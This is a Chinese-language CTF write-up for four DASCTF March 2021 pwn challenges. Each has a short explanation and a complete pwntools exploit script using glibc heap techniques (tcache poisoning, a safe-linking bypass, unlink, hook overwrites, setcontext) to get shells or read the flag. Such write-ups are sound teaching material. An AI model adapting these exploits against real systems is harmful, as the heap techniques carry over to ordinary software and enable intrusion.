[DASCTF 2021.03] Pwn方向完全writeup
before
周末打了一下DASCTF,基本都是菜单题的堆利用,除了有一题打safe-linking比较新,其它都比较常规。
特别吐槽一下服务器...老是断
fruitpie
拿一个大堆块可以得到一个新段,其地址和glibc
映射到内存中的起始地址是个固定偏移,onegadget一把梭
from pwn import *
#p = process("./fruitpie", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com", 50102)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
# big chunk offset: 0x100000ff0
def exp():
#gdb.attach(p, "b *$rebase(0xceb)\nc\n")
p.recvuntil(b"Enter the size to malloc:\n")
p.sendline(b"-1")
mem_ptr = int(p.recvuntil(b"\n", drop=True).decode(), 16)
libc_base = mem_ptr + 0x100000ff0
malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
realloc_hook = malloc_hook - 0x8
realloc = libc_base + libc.symbols[b"realloc"]
one_gadget = libc_base + 0x4f3c2
print("mem_ptr:", hex(mem_ptr))
print("malloc_hook:", hex(malloc_hook))
p.recvuntil(b"Offset:\n")
p.sendline(hex(realloc_hook-mem_ptr))
p.recvuntil(b"Data:\n")
p.send(p64(one_gadget) + p64(realloc+6))
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()
ParentSimulator
嫌麻烦就不用setcontext
了,直接泄露environ
在栈上构造orw ropchain
from pwn import *
import time
import os
#p = process(["./pwn"], env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("pwn.machine.dasctf.com", 51503)
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
def menu(choice:int):
p.recvuntil(b">> ")
p.sendline(str(choice).encode())
def new_child(idx:int, sex:int, name):
menu(1)
p.recvuntil(b"Please input index?\n")
p.sendline(str(idx).encode())
p.recvuntil(b"2.Girl:\n")
p.sendline(str(sex).encode())
p.recvuntil(b"Please input your child's name:\n")
p.send(name)
def change_name(idx:int, name):
menu(2)
p.recvuntil(b"Please input index?\n")
p.sendline(str(idx).encode())
p.recvuntil(b"Please input your child's new name:\n")
p.send(name)
def show_name(idx:int):
menu(3)
p.recvuntil(b"Please input index?\n")
p.sendline(str(idx).encode())
def remove(idx:int):
menu(4)
p.recvuntil(b"Please input index?\n")
p.sendline(str(idx).encode())
def edit(idx:int ,desc):
menu(5)
p.recvuntil(b"Please input index?\n")
p.sendline(str(idx).encode())
p.recvuntil(b"Please input your child's description:\n")
p.send(desc)
def secret(idx:int, sex:int):
menu(666)
p.recvuntil(b"Please input index?\n")
p.sendline(str(idx).encode())
p.recvuntil(b"2.Girl:\n")
p.sendline(str(sex).encode())
def exp():
# leak libc
## fill tcache
#gdb.attach(p, "b *$rebase(0x1cbd)\nc\n")
for i in range(7):
new_child(i, 1, b"tcache")
new_child(7, 1, b"AAAA")
new_child(8, 1, b"BBBB")
for i in range(7):
remove(i)
## overlapp chunk
remove(7)
for i in range(7):
new_child(i, 1, b"reget")
new_child(9, 1, b"CCCC")
for i in range(7):
remove(i)
remove(7)
## leak
show_name(9)
p.recvuntil(b"Name: ")
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = libc_leak - 0x1ebbe0
free_hook = libc_base + libc.symbols["__free_hook"]
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
environ = libc_base + libc.symbols["__environ"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("free_hook:", hex(free_hook))
print("malloc_hook:", hex(malloc_hook))
# leak heap
for i in range(7):
new_child(i, 1, b"reget") # clean tcache bin
new_child(0, 1, b"DDDD")
remove(0)
new_child(1, 1, b"DDDD")
remove(0)
show_name(1)
p.recvuntil(b"Gender: ")
heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
heap_base = heap_leak - 0x10
print("heap_leak:", hex(heap_leak))
print("heap_base:", hex(heap_base))
new_child(0, 1, b"clean") # clean tcache bin
# tcache attack
new_child(0, 1, b"EEEE")
remove(8) # add tcache count
remove(0)
new_child(1, 1, b"EEEE")
remove(0)
secret(0, 2)
change_name(1, p64(heap_base+0x10)[0:7])
new_child(2, 1, b"XXXX")
new_child(2, 1, b"FFFF") #get heap_struct
heap_struct = p64(0) + p64(0x70000000000000)
heap_struct = heap_struct.ljust(0xe0, b"\x00")
heap_struct += p64(0) + p64(environ-0x10)[0:7]
edit(2, heap_struct)
# fastbin attach
# leak_environ
new_child(0, 1, b"XXXX")
show_name(0)
p.recvuntil(b"Description:")
stack_leak = u64(p.recv(6).ljust(8, b"\x00"))
main_ret = stack_leak - 0x100
print("stack_leak:", hex(stack_leak))
print("main_ret:", hex(main_ret))
# attack ret addr
heap_struct = p64(0) + p64(0x70000000000000)
heap_struct = heap_struct.ljust(0xe0, b"\x00")
heap_struct += p64(0) + p64(main_ret-0x10)[0:7]
edit(2, heap_struct)
# build rop
new_child(0, 1, b"XXXX")
pop_rdi_ret = libc_base + 0x26b72
pop_rsi_ret = libc_base + 0x27529
pop_rdx_r12_ret = libc_base + 0x11c1e1
rop = p64(pop_rdi_ret) + p64(0)
rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
rop += p64(pop_rdx_r12_ret) + p64(0x10) + p64(0)
rop += p64(libc_base+libc.symbols["read"])
rop += p64(pop_rdi_ret) + p64(heap_base+0x300)
rop += p64(pop_rsi_ret) + p64(0)
rop += p64(libc_base+libc.symbols["open"])
rop += p64(pop_rdi_ret) + p64(4)
rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
rop += p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
rop += p64(libc_base+libc.symbols["read"])
rop += p64(pop_rdi_ret) + p64(1)
rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
rop += p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
rop += p64(libc_base+libc.symbols["write"])
print("len(rop):", hex(len(rop)))
edit(0, rop)
# exit and rop
menu(6)
time.sleep(1)
p.send(b"/flag\x00")
p.interactive()
if __name__ == "__main__":
exp()
clown
这题比较有意思,用了safe-linking
机制,不过网上已经有很多文章介绍了,不再赘叙。主要是泄露tcache bin
上一个正常fd为0的(尾部)chunk的fd指针,就可以得到pos>>12
,结合其它堆块fd的值算出heap base
。由于地址可能存在0截断,所以exp里面分成两部分leak后合并。最后老套路setcontext
执行mprotect
然后跳到shellcode。
from pwn import *
p = process(["./ld-2.32.so", "./clown"], env={"LD_PRELOAD":"./libc-2.31.so"})
elf = ELF("./clown")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
context.arch = "amd64"
# orw shellcode
shellcode = asm('''
sub rsp, 0x800;
push 0x67616c66;
mov rdi, rsp;
xor esi, esi;
mov eax, 2;
syscall;
mov edi, eax;
mov rsi, rsp;
mov edx, 0x100;
xor eax, eax;
syscall;
mov edx, eax;
mov rsi, rsp;
mov edi, 1;
mov eax, edi;
syscall;
''')
def menu(choice:int):
p.recvuntil(b">> ")
p.sendline(str(choice).encode())
def new(size:int, content):
menu(1)
p.recvuntil(b"Size: \n")
p.sendline(str(size).encode())
p.recvuntil(b"Content: \n")
p.send(content)
def delete(idx):
menu(2)
p.recvuntil(b"Index: \n")
p.sendline(str(idx).encode())
def show(idx):
menu(3)
p.recvuntil(b"Index: \n")
p.sendline(str(idx).encode())
def exp():
# leak heap
new(0x10, b"AAAA") #0
new(0x10, b"AAAA") #1
delete(1)
delete(0)
show(1)
tmp = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
show(0)
low_b = p.recvuntil(b"\n", drop=True)
new(0x10, b"AAA") #2
show(2)
p.recvuntil(b"AAA")
high_b = p.recvuntil(b"\n", drop=True)
ptr = u64((low_b + b"\x00" + high_b).ljust(8, b"\x00"))
heap_leak = ptr^tmp
heap_base = heap_leak - 0x2c0
print("heap_leak:", hex(heap_leak))
print("heap_base:", hex(heap_base))
# leak libc
for i in range(7):
new(0x100, b"tcache") #3-9
new(0x100, b"unsorted") #10 *
new(0x20, b"split") #11
for i in range(7):
delete(i+3)
delete(10)
show(10)
new(0x20, b"A") #12*
show(12)
libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))-u8(b"A")
libc_base = libc_leak - 352 - 0x10 - libc.symbols[b"__malloc_hook"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
setcontext = libc_base + libc.symbols[b"setcontext"]
mprotect = libc_base + libc.symbols[b"mprotect"]
before_setcontext_gadget = libc_base + 0x124990
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("free_hook:", hex(free_hook))
print("setcontext:", hex(setcontext))
# attack __free_hook
# ropper --file ./libc-2.31.so --search "mov rdx" | grep rdi
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
new(0xd0, b"BBBB") #13 clean unsorted bin
for i in range(7):
new(0x80, b"tcache") #14-20
new(0x80, b"unsorted2") #21
new(0x80, b"unsorted3") #22
new(0x20, b"split") #23
for i in range(7):
delete(i+14)
delete(21)
delete(22) #overlapping
new(0x80, b"CCCC") #24
new(0xb0, b"PART1") #25 *overlapping
new(0x50, p64(0)) #26
delete(22)
delete(25)
new(0xb0, b"A"*0x80+p64(0)+p64(0x90)+p64(((heap_base+0x1010)>>12)^free_hook)) #27 build fake chain
new(0x80, b"tmp") #28
new(0x80, p64(before_setcontext_gadget)) #29 rewrite free hook
print("free_hook:", hex(free_hook))
# gadget->setcontext->orw
frame = SigreturnFrame()
frame.rip = mprotect
frame.rdi = heap_base
frame.rsi = 0x2000
frame.rdx = 7
frame.rsp = heap_base+0x10d0
_ = list(frame.values())
_[4] = setcontext+53 # qword [rdx+0x20]
_[1] = heap_base+0x11d0 # qword [rdi+8]
#print(len(flat(_)))
new(0xf8, p64(heap_base+0x10d0+8)+shellcode) #30 shellcode +0x10d0
new(0xf8, flat(_)) #31 fake frame +0x11d0
gdb.attach(p, "b *0x7ffff7d2b990\nc\n")
#gdb.attach(p)
delete(31)
p.interactive()
if __name__ == "__main__":
exp()
babybabybabyheap
常规unlink
from pwn import *
p = process(["./pwn"], env={"LD_PRELOAD":"./libc-2.31.so"})
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
def menu(choice:int):
p.recvuntil(b">> ")
p.sendline(str(choice).encode())
def add(idx:int, size:int, content=b"", exit:bool=False):
menu(1)
p.sendafter(b"index?\n", str(idx).encode()+b"\n")
p.sendafter(b"size?\n", str(size).encode()+b"\n")
if not exit:
p.sendafter(b"content?\n", content)
def show(idx:int):
menu(2)
p.sendafter(b"index?\n", str(idx).encode()+b"\n")
def delete(idx:int):
menu(3)
p.sendafter(b"index?\n", str(idx).encode()+b"\n")
def exit(yon:str='y'):
menu(4)
p.sendafter(b"Sure to exit?(y/n)\n", yon)
def secret(idx:int, content):
exit('n')
p.sendafter(b"index?\n", str(idx).encode()+b"\n")
p.sendafter(b"content?\n", content)
def exp():
p.recvuntil(b"gift: ")
puts = int(p.recvuntil(b"\n", drop=True).decode(), 16)
libc_base = puts - libc.symbols[b"puts"]
malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
system = libc_base + libc.symbols[b"system"]
print("puts:", hex(puts))
print("libc_base:", hex(libc_base))
print("malloc_hook:", hex(malloc_hook))
print("free_hook:", hex(free_hook))
for i in range(7):
add(i, 0x1f0, b"tcache")
add(7, 0x108, p64(0) + p64(0x191) + p64(0x404178-0x18) + p64(0x404178-0x10))
add(8, 0x88, b"AAAAA")
add(9, 0x1f0, b"AAAAA")
add(10, 0x108, b"split")
for i in range(7):
delete(i)
add(0, 0x80, b"AAAA")# add tcache count
delete(0)
secret(8, b"A"*0x80 + p64(0x190))
delete(9)
# overlapping
delete(8)
add(11, 0x180, b"B"*0xf0 + p64(0) + p64(0x91) + p64(free_hook))
# get free hook
add(12, 0x80, b"AAAA")
add(13, 0x80, p64(system))
print("free_hook:", hex(free_hook))
add(14, 0x90, b"/bin/sh\x00")
delete(14)
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()